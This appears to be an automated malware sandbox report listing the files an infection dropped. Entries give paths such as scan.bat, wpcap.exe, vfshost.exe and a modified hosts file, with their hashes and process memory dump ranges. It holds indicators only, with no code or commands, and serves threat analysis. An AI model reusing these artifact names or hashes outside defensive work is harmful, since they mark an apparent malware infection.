d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34

SHA512
2f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01

Download Submit
C:\Windows\fvaftrpep\fiasmtlvz\ip.txt

Filesize
197B

MD5
8f67216581578427165b441f4560fc0f

SHA1
afbe19437145618381269a2ea3f11176e4144044

SHA256
e15ae212e980e26c579bd52f3453e75b13ead531a510bd9dd442203e2de93215

SHA512
8cedf2244596268fb9acfbdea343e48a4520e6b173e18a3b6331a9b82b4660fb1eb7e27f5da66e67a3a32a38126c39d88c3a5484db5cd9dd94017201fec0e20d

Download Submit
C:\Windows\fvaftrpep\fiasmtlvz\scan.bat

Filesize
159B

MD5
fc67db2ef6963521371c3a5363c199e3

SHA1
3bc286b707807937a6384208c4146e392fe5cdd8

SHA256
a4f9883db48cc9dc8a14653d7866b935f5f29f4d69bb37054237dbb7d80fb36d

SHA512
ac38fc08b5f0257bd5040f1cfd16be8622cb4970e3d6df24dd9b58fb3449945fe84a6c960d35c55b9b0ad5457558cf9cea3f5fb8533c4f93927e43542a8d835d

Download Submit
C:\Windows\system32\drivers\etc\hosts

Filesize
975B

MD5
b5d815ff5310f62de5020591be598bc0

SHA1
8013562b0cc2516d16d474308c8982a31b7f5dd0

SHA256
a7ea603e6e80aed429a34b68ca8210ae3b082cf6104646ed7f8025c3b304ae85

SHA512
4e3175ef0c289e1beea60f51239a98533690505b709f778703502dad3f72e3c7e9aa26e1a3837712ed5e1344e28e5ccff1d63a1245352bbc8435a71e15347a94

Download Submit
\Windows\Temp\fvaftrpep\bieqttlep.exe

Filesize
126KB

MD5
e8d45731654929413d79b3818d6a5011

SHA1
23579d9ca707d9e00eb62fa501e0a8016db63c7e

SHA256
a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af

SHA512
df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6

Download Submit
\Windows\Temp\ieszltnbu\yetdzn.exe

Filesize
343KB

MD5
2b4ac7b362261cb3f6f9583751708064

SHA1
b93693b19ebc99da8a007fed1a45c01c5071fb7f

SHA256
a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23

SHA512
c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616

Download Submit
\Windows\Temp\nsj626D.tmp\System.dll

Filesize
11KB

MD5
2ae993a2ffec0c137eb51c8832691bcb

SHA1
98e0b37b7c14890f8a599f35678af5e9435906e1

SHA256
681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59

SHA512
2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9

Download Submit
\Windows\Temp\nsj626D.tmp\nsExec.dll

Filesize
6KB

MD5
b648c78981c02c434d6a04d4422a6198

SHA1
74d99eed1eae76c7f43454c01cdb7030e5772fc2

SHA256
3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

SHA512
219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

Download Submit
\Windows\Temp\xohudmc.exe

Filesize
72KB

MD5
cbefa7108d0cf4186cdf3a82d6db80cd

SHA1
73aeaf73ddd694f99ccbcff13bd788bb77f223db

SHA256
7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9

SHA512
b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1

Download Submit
\Windows\fvaftrpep\Corporate\vfshost.exe

Filesize
381KB

MD5
fd5efccde59e94eec8bb2735aa577b2b

SHA1
51aaa248dc819d37f8b8e3213c5bdafc321a8412

SHA256
441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45

SHA512
74a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3

Download Submit
\Windows\fvaftrpep\fiasmtlvz\eizbestpy.exe

Filesize
332KB

MD5
ea774c81fe7b5d9708caa278cf3f3c68

SHA1
fc09f3b838289271a0e744412f5f6f3d9cf26cee

SHA256
4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38

SHA512
7cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb

Download Submit
\Windows\fvaftrpep\fiasmtlvz\wpcap.exe

Filesize
424KB

MD5
e9c001647c67e12666f27f9984778ad6

SHA1
51961af0a52a2cc3ff2c4149f8d7011490051977

SHA256
7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d

SHA512
56f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe

Download Submit
\Windows\kiprrupu\iyapfhp.exe

Filesize
8.8MB

MD5
2ccb1e0e63301d508b360e07a21ed70d

SHA1
fa033dea6181ca6241342c8d1235099c48fc20ab

SHA256
a3285b2bf241f4e65be90528313adba688c5caae90112a58a923b32b1c23051b

SHA512
9d116c0ecc13d965408f1f47bccb2b4e5a0b6b39b2508916961c79719711b0975e9a4f374bad8f55fdebd2f36bab80c6836d3dac16d7ced947b324e67b3acfb6

Download Submit
memory/1052-75-0x00000000002D0000-0x000000000031C000-memory.dmp

Filesize
304KB

Download
memory/1168-215-0x000000013FCF0000-0x000000013FD4B000-memory.dmp

Filesize
364KB

Download
memory/1376-162-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/1376-148-0x0000000010000000-0x0000000010008000-memory.dmp

Filesize
32KB

Download
memory/1564-135-0x0000000000FC0000-0x00000000010AE000-memory.dmp

Filesize
952KB

Download
memory/1564-134-0x0000000000FC0000-0x00000000010AE000-memory.dmp

Filesize
952KB

Download
memory/1608-138-0x000000013FE60000-0x000000013FF4E000-memory.dmp

Filesize
952KB

Download
memory/1608-136-0x000000013FE60000-0x000000013FF4E000-memory.dmp

Filesize
952KB

Download
memory/1664-222-0x000000013F930000-0x000000013F98B000-memory.dmp

Filesize
364KB

Download
memory/2020-179-0x000000013F7A0000-0x000000013F7FB000-memory.dmp

Filesize
364KB

Download
memory/2020-9-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download
memory/2096-190-0x000000013F9C0000-0x000000013FAE0000-memory.dmp

Filesize
1.1MB

Download
memory/2096-199-0x000000013F9C0000-0x000000013FAE0000-memory.dmp

Filesize
1.1MB

Download
memory/2096-168-0x000000013F9C0000-0x000000013FAE0000-memory.dmp

Filesize
1.1MB

Download
memory/2096-252-0x000000013F9C0000-0x000000013FAE0000-memory.dmp

Filesize
1.1MB

Download
memory/2096-250-0x000000013F9C0000-0x000000013FAE0000-memory.dmp

Filesize
1.1MB

Download
memory/2096-246-0x000000013F9C0000-0x000000013FAE0000-memory.dmp

Filesize
1.1MB

Download
memory/2096-231-0x000000013F9C0000-0x000000013FAE0000-memory.dmp

Filesize
1.1MB

Download
memory/2096-254-0x000000013F9C0000-0x000000013FAE0000-memory.dmp

Filesize
1.1MB

Download
memory/2096-234-0x000000013F9C0000-0x000000013FAE0000-memory.dmp

Filesize
1.1MB

Download
memory/2096-173-0x0000000000800000-0x0000000000810000-memory.dmp

Filesize
64KB

Download
memory/2096-233-0x000000013F9C0000-0x000000013FAE0000-memory.dmp

Filesize
1.1MB

Download
memory/2096-232-0x000000013F9C0000-0x000000013FAE0000-memory.dmp

Filesize
1.1MB

Download
memory/2244-229-0x000000013F490000-0x000000013F4EB000-memory.dmp

Filesize
364KB

Download
memory/2244-227-0x000000013F490000-0x000000013F4EB000-memory.dmp

Filesize
364KB

Download
memory/2276-187-0x000000013F6C0000-0x000000013F71B000-memory.dmp

Filesize
364KB

Download
memory/2284-171-0x000000013FB00000-0x000000013FB5B000-memory.dmp

Filesize
364KB

Download
memory/2352-0-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download
memory/2352-4-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download
memory/2356-245-0x00000000002B0000-0x00000000002C2000-memory.dmp

Filesize
72KB

Download
memory/2364-196-0x000000013F950000-0x000000013F9AB000-memory.dmp

Filesize
364KB

Download
memory/2756-200-0x0000000001A60000-0x0000000001ABB000-memory.dmp

Filesize
364KB

Download
memory/2756-212-0x0000000001A60000-0x0000000001ABB000-memory.dmp

Filesize
364KB

Download
memory/2756-182-0x0000000001A60000-0x0000000001ABB000-memory.dmp

Filesize
364KB

Download
memory/2756-166-0x0000000002D10000-0x0000000002E30000-memory.dmp

Filesize
1.1MB

Download
memory/2756-218-0x0000000001100000-0x000000000115B000-memory.dmp

Filesize
364KB

Download
memory/2756-176-0x0000000001A60000-0x0000000001ABB000-memory.dmp

Filesize
364KB

Download
memory/2756-159-0x00000000021A0000-0x00000000021FB000-memory.dmp

Filesize
364KB

Download
memory/2756-192-0x0000000001A60000-0x0000000001ABB000-memory.dmp

Filesize
364KB

Download
memory/2756-189-0x0000000002D10000-0x0000000002E30000-memory.dmp

Filesize
1.1MB

Download
memory/2780-204-0x000000013F170000-0x000000013F1CB000-memory.dmp

Filesize
364KB

Download